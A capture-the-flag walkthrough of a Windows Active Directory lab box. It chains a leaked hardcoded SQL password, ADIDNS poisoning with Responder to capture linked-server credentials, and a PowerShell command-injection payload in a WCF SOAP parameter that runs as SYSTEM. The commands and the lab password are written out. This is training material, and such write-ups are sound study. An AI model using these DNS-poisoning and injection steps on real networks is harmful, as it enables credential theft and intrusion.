Overwatch¶
Machine Profile
OS: Windows Server (Active Directory)
Difficulty: Hard
IP: 10.129.244.81
Pwned: 5 May 2026 (user + system)
Key techniques: .NET reverse engineering · ADIDNS poisoning · MSSQL linked-server Responder capture · WCF RCE as SYSTEM
Reconnaissance¶
Standard AD ports plus a non-standard MSSQL listener on port 6520 (not 1433). Make sure to actually scan all 65535 ports — most port scans miss this by default:
nmap gotcha
nmap -p- --top-ports 1000 ... does NOT do what it looks like — --top-ports overrides -p- silently. Use -p- alone, or --top-ports alone. Mixing them costs you ports.
Anonymous SMB¶
smbclient -L //10.129.244.81/ -N lists a non-default share named software$:
smbclient //10.129.244.81/software$ -N
> cd Monitoring
> get overwatch.exe
> get overwatch.exe.config
> get overwatch.pdb
A .NET WCF service.
Config Disclosure¶
overwatch.exe.config reveals the internal WCF endpoint:
Port 8000 isn't externally reachable — the service is listening on localhost only.
.NET Decompilation¶
Decompile the binary with ilspycmd:
In MonitoringService.cs:
- Hardcoded SQL connection string:
User Id=sqlsvc; Password=TI0LKcfHzZw1Vv - A
KillProcess()method that passes unsanitizedprocessNameinto PowerShell — clear RCE primitive once we can reach the service - A
CheckEdgeHistory()method runs every 30 seconds, reading Edge browser history into the DB
Initial Foothold — MSSQL Pivot via ADIDNS Poisoning¶
MSSQL as sqlsvc¶
sqlsvc is not a sysadmin and xp_cmdshell is disabled. Only DBO on the overwatch database.
The Linked-Server Trick¶
SELECT srvname, srvproduct FROM master..sysservers reveals a linked server called SQL07 with no login mapping — which means any query against it will use the current login's Windows credentials.
Also: SQL07 has no DNS record in AD-integrated DNS. But sqlsvc has permission to create DNS records in ADIDNS (a default permission for Authenticated Users in many domains).
Add a Fake DNS Record + Listen¶
Add a DNS record so SQL07 resolves to our attacker IP:
python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' \
-a add -r SQL07 -d <TUN0_IP> -t A 10.129.244.81
Start Responder listening for MSSQL connections (it answers on port 1433):
Trigger a query against the linked server:
Responder catches the auth attempt — and because SQL07 connects with cleartext SQL auth (not Windows auth), the password comes back in clear:
WinRM as sqlmgmt¶
user.txt on the desktop.
Privilege Escalation — WCF KillProcess RCE as SYSTEM¶
The overwatch service runs as LocalSystem. From inside the WinRM shell on localhost, we can now reach the WCF endpoint on http://overwatch.htb:8000/MonitorService.
Crafting the SOAP Payload¶
The KillProcess operation passes its processName argument directly into a PowerShell Stop-Process -Name ... call. Inject a command separator:
First attempt fails — PowerShell hits "process not found" and stops the pipeline before our injection runs. Fix it with -ErrorAction SilentlyContinue:
processName: nonexistent -ErrorAction SilentlyContinue; whoami | Out-File C:\Users\sqlmgmt\Desktop\out.txt
POST the SOAP envelope. Check out.txt:
Same vector reads C:\Users\Administrator\Desktop\root.txt.
Key Takeaways¶
- MSSQL linked servers without login mapping are a credential exposure primitive. Combined with ADIDNS-write permissions (default for any authenticated user), they let you redirect linked-server queries to your own listener.
- PowerShell error handling matters in command injection.
-ErrorAction SilentlyContinueis the most useful flag in any injection payload that touches a PowerShell cmdlet. - .NET binaries on SMB shares are gold.
ilspycmddecompiles back to readable C# in seconds. Hardcoded connection strings, API keys, and access tokens are routine finds. -p-and--top-portsare mutually exclusive in nmap. Non-standard service ports (like MSSQL on 6520 here) are missed if you don't actually scan all 65535.
Tools Used¶
nmap · smbclient · ilspycmd · mssqlclient.py (Impacket) · krbrelayx dnstool.py · Responder · evil-winrm